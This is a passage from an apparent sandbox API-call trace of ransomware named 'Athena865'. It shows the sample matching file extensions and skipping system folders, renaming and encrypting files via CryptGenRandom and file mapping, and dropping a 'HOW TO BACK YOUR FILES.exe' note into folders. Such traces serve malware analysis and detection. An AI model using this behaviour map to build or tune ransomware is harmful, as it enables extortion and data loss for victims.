(lpString="accdw") returned 5 [0048.408] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0048.408] lstrlenW (lpString="accft") returned 5 [0048.408] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0048.408] lstrlenW (lpString="adb") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0048.408] lstrlenW (lpString="adb") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0048.408] lstrlenW (lpString="ade") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0048.408] lstrlenW (lpString="adf") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0048.408] lstrlenW (lpString="adn") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0048.408] lstrlenW (lpString="adp") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0048.408] lstrlenW (lpString="alf") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0048.408] lstrlenW (lpString="ask") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0048.408] lstrlenW (lpString="btr") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0048.408] lstrlenW (lpString="cat") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0048.408] lstrlenW (lpString="cdb") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0048.408] lstrlenW (lpString="ckp") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0048.408] lstrlenW (lpString="cma") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0048.408] lstrlenW (lpString="cpd") returned 3 [0048.408] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0048.408] lstrlenW (lpString="dacpac") returned 6 [0048.408] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0048.408] lstrlenW (lpString="dad") returned 3 [0048.409] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0048.409] lstrlenW (lpString="dadiagrams") returned 10 [0048.409] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0048.409] lstrlenW (lpString="daschema") returned 8 [0048.409] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0048.409] lstrlenW (lpString="db-journal") returned 10 [0048.409] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0048.409] lstrlenW (lpString="db-shm") returned 6 [0048.409] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0048.409] lstrlenW (lpString="db-wal") returned 6 [0048.409] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0048.409] lstrlenW (lpString="dbc") returned 3 [0048.409] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0048.409] lstrlenW (lpString="dbs") returned 3 [0048.409] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0048.409] lstrlenW (lpString="dbt") returned 3 [0048.409] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0048.409] lstrlenW (lpString="dbv") returned 3 [0048.409] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0048.409] lstrlenW (lpString="dbx") returned 3 [0048.409] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0048.409] lstrlenW (lpString="dcb") returned 3 [0048.409] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0048.409] lstrlenW (lpString="dct") returned 3 [0048.409] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0048.409] lstrlenW (lpString="dcx") returned 3 [0048.409] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0048.409] lstrlenW (lpString="ddl") returned 3 [0048.409] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0048.409] lstrlenW (lpString="dlis") returned 4 [0048.409] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0048.409] lstrlenW (lpString="dp1") returned 3 [0048.410] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0048.410] lstrlenW (lpString="dqy") returned 3 [0048.410] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0048.410] lstrlenW (lpString="dsk") returned 3 [0048.410] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0048.410] lstrlenW (lpString="dsn") returned 3 [0048.410] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0048.410] lstrlenW (lpString="dtsx") returned 4 [0048.410] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0048.410] lstrlenW (lpString="dxl") returned 3 [0048.410] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0048.410] lstrlenW (lpString="eco") returned 3 [0048.410] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0048.410] lstrlenW (lpString="ecx") returned 3 [0048.410] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0048.410] lstrlenW (lpString="edb") returned 3 [0048.410] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0048.410] lstrlenW (lpString="epim") returned 4 [0048.410] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0048.410] lstrlenW (lpString="fcd") returned 3 [0048.410] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0048.410] lstrlenW (lpString="fdb") returned 3 [0048.410] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0048.410] lstrlenW (lpString="fic") returned 3 [0048.410] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0048.410] lstrlenW (lpString="flexolibrary") returned 12 [0048.410] lstrlenW (lpString="fm5") returned 3 [0048.410] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0048.410] lstrlenW (lpString="fmp") returned 3 [0048.410] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0048.410] lstrlenW (lpString="fmp12") returned 5 [0048.410] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0048.410] lstrlenW (lpString="fmpsl") returned 5 [0048.410] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0048.410] lstrlenW (lpString="fol") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0048.411] lstrlenW (lpString="fp3") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0048.411] lstrlenW (lpString="fp4") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0048.411] lstrlenW (lpString="fp5") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0048.411] lstrlenW (lpString="fp7") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0048.411] lstrlenW (lpString="fpt") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0048.411] lstrlenW (lpString="frm") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0048.411] lstrlenW (lpString="gdb") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0048.411] lstrlenW (lpString="gdb") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0048.411] lstrlenW (lpString="grdb") returned 4 [0048.411] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0048.411] lstrlenW (lpString="gwi") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0048.411] lstrlenW (lpString="hdb") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0048.411] lstrlenW (lpString="his") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0048.411] lstrlenW (lpString="ib") returned 2 [0048.411] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0048.411] lstrlenW (lpString="idb") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0048.411] lstrlenW (lpString="ihx") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0048.411] lstrlenW (lpString="itdb") returned 4 [0048.411] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0048.411] lstrlenW (lpString="itw") returned 3 [0048.411] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0048.412] lstrlenW (lpString="jet") returned 3 [0048.412] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0048.412] lstrlenW (lpString="jtx") returned 3 [0048.412] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0048.412] lstrlenW (lpString="kdb") returned 3 [0048.412] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0048.412] lstrlenW (lpString="kexi") returned 4 [0048.412] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0048.412] lstrlenW (lpString="kexic") returned 5 [0048.412] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0048.412] lstrlenW (lpString="kexis") returned 5 [0048.412] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0048.412] lstrlenW (lpString="lgc") returned 3 [0048.412] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0048.412] lstrlenW (lpString="lwx") returned 3 [0048.412] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0048.412] lstrlenW (lpString="maf") returned 3 [0048.412] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0048.412] lstrlenW (lpString="maq") returned 3 [0048.412] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0048.412] lstrlenW (lpString="mar") returned 3 [0048.412] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0048.412] lstrlenW (lpString="marshal") returned 7 [0048.412] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0048.412] lstrlenW (lpString="mas") returned 3 [0048.412] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0048.412] lstrlenW (lpString="mav") returned 3 [0048.412] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0048.412] lstrlenW (lpString="maw") returned 3 [0048.412] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0048.412] lstrlenW (lpString="mdbhtml") returned 7 [0048.412] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0048.412] lstrlenW (lpString="mdn") returned 3 [0048.412] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0048.412] lstrlenW (lpString="mdt") returned 3 [0048.412] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0048.413] lstrlenW (lpString="mfd") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0048.413] lstrlenW (lpString="mpd") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0048.413] lstrlenW (lpString="mrg") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0048.413] lstrlenW (lpString="mud") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0048.413] lstrlenW (lpString="mwb") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0048.413] lstrlenW (lpString="myd") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0048.413] lstrlenW (lpString="ndf") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0048.413] lstrlenW (lpString="nnt") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0048.413] lstrlenW (lpString="nrmlib") returned 6 [0048.413] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0048.413] lstrlenW (lpString="ns2") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0048.413] lstrlenW (lpString="ns3") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0048.413] lstrlenW (lpString="ns4") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0048.413] lstrlenW (lpString="nsf") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0048.413] lstrlenW (lpString="nv") returned 2 [0048.413] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0048.413] lstrlenW (lpString="nv2") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0048.413] lstrlenW (lpString="nwdb") returned 4 [0048.413] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0048.413] lstrlenW (lpString="nyf") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0048.413] lstrlenW (lpString="odb") returned 3 [0048.413] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0048.414] lstrlenW (lpString="odb") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0048.414] lstrlenW (lpString="oqy") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0048.414] lstrlenW (lpString="ora") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0048.414] lstrlenW (lpString="orx") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0048.414] lstrlenW (lpString="owc") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0048.414] lstrlenW (lpString="p96") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0048.414] lstrlenW (lpString="p97") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0048.414] lstrlenW (lpString="pan") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0048.414] lstrlenW (lpString="pdb") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0048.414] lstrlenW (lpString="pdm") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0048.414] lstrlenW (lpString="pnz") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0048.414] lstrlenW (lpString="qry") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0048.414] lstrlenW (lpString="qvd") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0048.414] lstrlenW (lpString="rbf") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0048.414] lstrlenW (lpString="rctd") returned 4 [0048.414] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0048.414] lstrlenW (lpString="rod") returned 3 [0048.414] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0048.414] lstrlenW (lpString="rodx") returned 4 [0048.414] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0048.414] lstrlenW (lpString="rpd") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0048.415] lstrlenW (lpString="rsd") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0048.415] lstrlenW (lpString="sas7bdat") returned 8 [0048.415] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0048.415] lstrlenW (lpString="sbf") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0048.415] lstrlenW (lpString="scx") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0048.415] lstrlenW (lpString="sdb") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0048.415] lstrlenW (lpString="sdc") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0048.415] lstrlenW (lpString="sdf") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0048.415] lstrlenW (lpString="sis") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0048.415] lstrlenW (lpString="spq") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0048.415] lstrlenW (lpString="te") returned 2 [0048.415] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0048.415] lstrlenW (lpString="teacher") returned 7 [0048.415] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0048.415] lstrlenW (lpString="tmd") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0048.415] lstrlenW (lpString="tps") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0048.415] lstrlenW (lpString="trc") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0048.415] lstrlenW (lpString="trc") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0048.415] lstrlenW (lpString="trm") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0048.415] lstrlenW (lpString="udb") returned 3 [0048.415] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0048.416] lstrlenW (lpString="udl") returned 3 [0048.416] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0048.416] lstrlenW (lpString="usr") returned 3 [0048.416] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0048.416] lstrlenW (lpString="v12") returned 3 [0048.416] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0048.416] lstrlenW (lpString="vis") returned 3 [0048.416] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0048.416] lstrlenW (lpString="vpd") returned 3 [0048.416] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0048.416] lstrlenW (lpString="vvv") returned 3 [0048.416] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0048.416] lstrlenW (lpString="wdb") returned 3 [0048.416] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0048.416] lstrlenW (lpString="wmdb") returned 4 [0048.416] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0048.416] lstrlenW (lpString="wrk") returned 3 [0048.416] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0048.416] lstrlenW (lpString="xdb") returned 3 [0048.416] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0048.416] lstrlenW (lpString="xld") returned 3 [0048.416] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0048.416] lstrlenW (lpString="xmlff") returned 5 [0048.416] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0048.416] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Documents\\desktop.ini.Athena865") returned 46 [0048.416] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Documents\\desktop.ini" (normalized: "c:\\programdata\\documents\\desktop.ini"), lpNewFileName="C:\\ProgramData\\Documents\\desktop.ini.Athena865" (normalized: "c:\\programdata\\documents\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0048.417] CreateFileW (lpFileName="C:\\ProgramData\\Documents\\desktop.ini.Athena865" (normalized: "c:\\programdata\\documents\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0048.417] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=278) returned 1 [0048.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.417] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.418] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.418] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.418] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x17c [0048.424] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x100000 [0048.424] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.424] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.424] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0048.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0048.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50aba8 [0048.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50aba8 | out: hHeap=0x4f0000) returned 1 [0048.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.425] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.425] CloseHandle (hObject=0x17c) returned 1 [0048.425] CloseHandle (hObject=0x154) returned 1 [0048.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.426] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.426] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.426] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0048.426] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.426] lstrcmpiW (lpString1="My Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.426] lstrcmpiW (lpString1="My Music", lpString2=".") returned 1 [0048.426] lstrcmpiW (lpString1="My Music", lpString2="..") returned 1 [0048.426] lstrcmpiW (lpString1="My Music", lpString2="windows") returned -1 [0048.426] lstrcmpiW (lpString1="My Music", lpString2="bootmgr") returned 1 [0048.426] lstrcmpiW (lpString1="My Music", lpString2="temp") returned -1 [0048.426] lstrcmpiW (lpString1="My Music", lpString2="pagefile.sys") returned -1 [0048.426] lstrcmpiW (lpString1="My Music", lpString2="boot") returned 1 [0048.426] lstrcmpiW (lpString1="My Music", lpString2="ids.txt") returned 1 [0048.427] lstrcmpiW (lpString1="My Music", lpString2="ntuser.dat") returned -1 [0048.427] lstrcmpiW (lpString1="My Music", lpString2="perflogs") returned -1 [0048.427] lstrcmpiW (lpString1="My Music", lpString2="MSBuild") returned 1 [0048.427] lstrlenW (lpString="My Music") returned 8 [0048.427] lstrcpyW (in: lpString1=0x241e87a, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0048.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db20 [0048.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x44) returned 0x517438 [0048.427] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0048.427] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0048.427] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.427] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0048.427] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.427] lstrcmpiW (lpString1="My Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.427] lstrcmpiW (lpString1="My Pictures", lpString2=".") returned 1 [0048.427] lstrcmpiW (lpString1="My Pictures", lpString2="..") returned 1 [0048.428] lstrcmpiW (lpString1="My Pictures", lpString2="windows") returned -1 [0048.428] lstrcmpiW (lpString1="My Pictures", lpString2="bootmgr") returned 1 [0048.428] lstrcmpiW (lpString1="My Pictures", lpString2="temp") returned -1 [0048.428] lstrcmpiW (lpString1="My Pictures", lpString2="pagefile.sys") returned -1 [0048.428] lstrcmpiW (lpString1="My Pictures", lpString2="boot") returned 1 [0048.428] lstrcmpiW (lpString1="My Pictures", lpString2="ids.txt") returned 1 [0048.428] lstrcmpiW (lpString1="My Pictures", lpString2="ntuser.dat") returned -1 [0048.428] lstrcmpiW (lpString1="My Pictures", lpString2="perflogs") returned -1 [0048.428] lstrcmpiW (lpString1="My Pictures", lpString2="MSBuild") returned 1 [0048.428] lstrlenW (lpString="My Pictures") returned 11 [0048.428] lstrcpyW (in: lpString1=0x241e87a, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0048.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50daa8 [0048.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4a) returned 0x516318 [0048.428] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0048.428] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0048.428] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.428] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, 